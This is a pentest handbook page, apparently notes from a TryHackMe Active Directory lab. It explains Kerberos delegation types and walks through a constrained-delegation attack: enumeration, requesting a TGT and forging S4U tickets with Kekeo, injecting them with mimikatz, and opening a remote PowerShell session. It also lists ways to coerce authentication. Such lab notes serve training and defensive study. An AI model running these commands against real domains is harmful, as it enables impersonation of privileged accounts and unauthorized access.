handbook/tools/5.Machine/3.Active-Directory/General/Exploitation/5.Exploiting-AD/2.Exploiting-Kerberos-Delegation.md
2024-08-31 01:07:22 +02:00

5.2 KiB
Raw Permalink Blame History

General

Kerberos delegation is a feature that allows a service or user to request a new Kerberos ticket on behalf of another user, allowing the service or user to authenticate as the other user to a different service. This allows the original user to access a service through a trusted intermediary, without having to provide their own credentials. This process is also known as "impersonation" or "double-hop authentication."

Kerberos delegation is useful in scenarios where a user needs to access a service that is not directly reachable, such as when a user needs to access a resource on a remote server through a middle-tier service. By using delegation, the middle-tier service can authenticate to the remote server on behalf of the user, allowing the user to access the remote resource without having to provide their own credentials.

  • Kerberos delegation ((Resource-Based)Constrained, Unconstrained)

    • Constrained delegation: A user is granted permission to authenticate to a specific service as another user. The following are examples of services that can be configured for delegation:

      • HTTP - Used for web applications to allow pass-through authentication using AD credentials.
      • CIFS - Common Internet File System is used for file sharing that allows delegation of users to shares.
      • LDAP - Used to delegate to the LDAP service for actions such as resetting a user's password.
      • HOST - Allows delegation of account for all activities on the host.
      • MSSQL - Allows delegation of user accounts to the SQL service for pass-through authentication to databases.
    • Unconstrained delegation: A user/service is granted permission to authenticate to any service as another user.

    • Resource-Based Constrained Delegation: Instead of specifying which object can delegate to which service, the service now specifies which objects can delegate to it. This allows the service owner to control who can access it. Let's say that we have permission to configure RBCD for a service. This means we have the ability to set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute for the AD Object.

  • Double Hop issue In Kerberos, a "double hop" occurs when a user authenticates to a server, and then the server attempts to authenticate to another server on behalf of the user.

    How can we force a connection to a server with unconstrained delegation? Ill give you a few options:

    • Responder
    • ARP Poisoning
    • Rogue DHCPv6
    • Phish an adin
    • SpoolSample

TGS = Allows for the "borrowing" of a ticket TGT = Creation of a ticket

===Accounts that have delegation enabled are of interest to attackers, as they allow the account to authenticate to other services on behalf of other users.===

Constrained Delegation Exploitation

Powershell (Enumerate available delegations)

Get-NetUser -TrustedToAuth

Get access to an account that has Constrained or Unconstrained delegation (Credential (plaintext, NTLM, ...))

Kerberos delegation attack

We will use a combination of Kekeo and Mimikatz.

Powershell (Launch Kekeo)

PS C:\> C:\Tools\kekeo\x64\kekeo.exe

Powershell (Example: Generate a TGT that can be used to generate tickets for the HTTP and WSMAN services) ---> Delegation on those services

kekeo # tgt::ask /user:svcIIS /domain:AD_DOMAIN /password:XXXXXXXX
  • user - The user who has the constrained delegation permissions.
  • domain - The domain that we are attacking since Kekeo can be used to forge tickets to abuse cross-forest trust.
  • password - The password associated with the svcIIS account.

Powershell (forge TGS requests for the account we want to impersonate)

kekeo # tgs::s4u /tgt:TGT_WE_JUST_CREATED /user:ACCOUNT_TO_IMPERSONATE /service:http/SERVER_DOMAINE_NAME
  • tgt - We provide the TGT that we generated in the previous step.
  • user - The user we want to impersonate. Since t2_ accounts have administrative access over workstations, it is a safe assumption that t1_ accounts will have administrative access over servers, so choose a t1_ account that you would like to impersonate.
  • service - The services we want to impersonate using delegation. We first generate a TGS for the HTTP service. Then we can rerun the same command for the WSMAN service.

Powershell (Import the tickets in mimikats)

PS C:\> C:\Tools\kekeo\x64\mimikatz.exe

mimikatz # privilege::debug
mimikatz # kerberos::ptt TICKET_TO_IMPORT(1)
mimikatz # kerberos::ptt TICKET_TO_IMPORT(2)

exit

Powershell (Verify if the tickets were imported to the account)

klist

Create our PSSession on THMSERVER1 (Specific to this example were we have delegation for HTTP and WSMAN)

PS C:> New-PSSession -ComputerName thmserver1.za.tryhackme.loc

 Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 WinRM1          thmserver1.z... RemoteMachine   Opened        Microsoft.PowerShell     Available


PS C:\> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
[thmserver1.za.tryhackme.loc]: